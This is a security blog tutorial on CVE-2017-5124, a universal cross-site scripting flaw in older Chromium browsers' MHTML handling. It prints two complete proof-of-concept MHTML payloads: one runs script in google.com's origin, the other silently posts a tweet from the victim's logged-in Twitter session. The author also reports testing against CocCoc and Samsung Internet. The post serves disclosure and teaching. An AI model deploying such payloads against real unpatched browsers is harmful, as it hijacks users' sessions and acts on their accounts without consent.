DevelBranch
Software Research and Development

Chromium Based Browsers are safe or not ? (English version)

Posted in Tutorials with uxss, chromium

Original post: https://develbranch.com/tutorials/chromium-based-browsers-are-safe-or-not.html

Recently, the Chromium open source browser (version 62 and below) has a very serious vulnerability. UXSS with MHTML, CVE-2017-5124. The exploit code has also been published: https://github.com/Bo0oM/CVE-2017-5124.

What is Universal Cross-site Scripting (UXSS)?

Cross-site scripting (XSS) (https://www.acunetix.com/websitesecurity/cross-site-scripting/) refers to client-side code injection attack wherein an attacker can execute malicious scripts (also commonly referred to as a malicious payload) into a legitimate website or web application. XSS is amongst the most rampant of web application vulnerabilities and occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.

By leveraging XSS, an attacker does not target a victim directly. Instead, an attacker would exploit a vulnerability within a website or web application that the victim would visit, essentially using the vulnerable website as a vehicle to deliver a malicious script to the victim’s browser.

While XSS can be taken advantage of within VBScript, ActiveX and Flash (although now considered legacy or even obsolete), unquestionably, the most widely abused is JavaScript – primarily because JavaScript is fundamental to most browsing experiences.

Hackers use UXSS to access every open session of the browser: hackers can read the cookies or sessions of opened tabs.

UXSS with MHTML (CVE-2017-5124)

This is a vulnerability in the Chromium when processing MHTML (HTML).

MHTML is a text document with a title, content-type (multipart / related), and a content separator (boundary), encoding (can be base64).

In the description of html, we can use Content-location to determine the source of the data. For example, we write Content-location: https://example.com/abc, which will be loaded from https://example.com/abc and displayed.

For security reasons, all javascript related data is forbidden and can not be executed from another location. This rule is checked everywhere, except for XSLT.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
MIME-Version: 1.0
Content-Type: multipart/related;
	type="text/html";
	boundary="----MultipartBoundary--"
CVE-2017-5124

------MultipartBoundary--
Content-Type: application/xml;

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xml" href="#stylesheet"?>
<!DOCTYPE catalog [
<!ATTLIST xsl:stylesheet
id ID #REQUIRED>
]>
<xsl:stylesheet id="stylesheet" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="*">
<html><iframe style="display:none" src="https://google.com"></iframe></html>
</xsl:template>
</xsl:stylesheet>

------MultipartBoundary--
Content-Type: text/html
Content-Location: https://google.com

<script>alert('Location origin: '+location.origin)</script>
------MultipartBoundary----

The hacker can run alert () with the https://google.com domain and display a messagebox indicating the location corresponds to the script’s running script.

Some scenarios using UXSS with MHTML (CVE-2017-5124)

We will approach some “real” scenarios:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
MIME-Version: 1.0
Content-Type: multipart/related;
	type="text/html";
	boundary="----MultipartBoundary--"
Become IDOL

------MultipartBoundary--
Content-Type: application/xml;

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xml" href="#stylesheet"?>
<!DOCTYPE catalog [
<!ATTLIST xsl:stylesheet
id ID #REQUIRED>
]>
<xsl:stylesheet id="stylesheet" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="*">
<html><iframe style="display:none" src="https://twitter.com" ></iframe></html>
</xsl:template>
</xsl:stylesheet>

------MultipartBoundary--
Content-Type: text/html
Content-Location: https://twitter.com

<script>

function tweet(text)
{
    var win = window.open("/", '_blank', 'toolbar=no,status=no,menubar=no,scrollbars=no,resizable=no,left=10000, top=10000, width=2, height=1, visible=none', '');
	win.onload = function(){
	        win.boxTextToTweet = win.document.getElementById("tweet-box-home-timeline");
			win.btnPostTweet = win.document.getElementsByClassName("tweet-action EdgeButton EdgeButton--primary js-tweet-btn")[0];
			win.boxTextToTweet.focus();
			win.boxTextToTweet.innerHTML = text;
			setTimeout(function(){ win.btnPostTweet.click(); }, 500);
			setTimeout(function(){ win.close(); }, 1500);
	}
}

tweet('I <3 fosec. @quangnh89 is my idol.');

</script>
------MultipartBoundary----

I have attacked CocCoc (66) and SamSung Internet browser.

Demo with CocCoc 66:

UXSS with MHTML (CVE-2017-5124) + CocCoc browser 66.4.134

The browsers are affected by CVE-2017-5124

All browsers that use the Chromium (Chrome < 62) are affected. CocCoc version 66.4.134, a popular browser in Vietnam, which uses Chromium 60.4.3112.134 is vulnerable. Some browsers on SamSung phones made by the manufacturer itself can be exploited. Personally, for security purposes, we can temporarily stop using the browser until the problem is solved.

Timeline

Coc Coc Browser

SamSung Internet Browser 6.2.01.12

According to my tests, the browser SamSung Internet Browser 6.2.01.12 suffered a serious vulnerability. If your phone is not up to date, wait for a patch. Demo with SamSung internet: https://www.youtube.com/watch?v=nLPuplN5HmM

UXSS with MHTML (CVE-2017-5124) + SamSung Internet Browser 6.2.01.12